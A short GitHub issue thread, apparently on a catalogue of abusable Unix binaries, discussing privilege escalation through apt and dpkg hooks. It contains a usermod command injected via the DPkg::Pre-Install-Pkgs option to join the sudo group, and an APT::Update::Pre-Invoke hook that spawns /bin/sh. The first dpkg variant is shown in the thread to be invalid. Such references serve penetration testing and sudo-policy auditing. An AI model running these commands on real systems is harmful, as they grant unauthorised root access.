[dpkg] priv esc
geekscrapy opened this issue · 3 comments
geekscrapy commented
dpkg -i -o DPkg::Pre-Install-Pkgs::="usermod -a -G sudo $(whoami)" any_package.deb
cyrus-and commented
Are you sure?
$ dpkg -o
dpkg: error: unknown option -o
geekscrapy commented
Hey, my bad got messed up during testing! I was reffering to the DPkg::Pre-Install-Pkgs
configuration option.
sudo apt-get install cowsay -o DPkg::Pre-Install-Pkgs::="usermod -a -G sudo $(whoami)"
cyrus-and commented
Oh, no worries! But we already have a similar one:
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh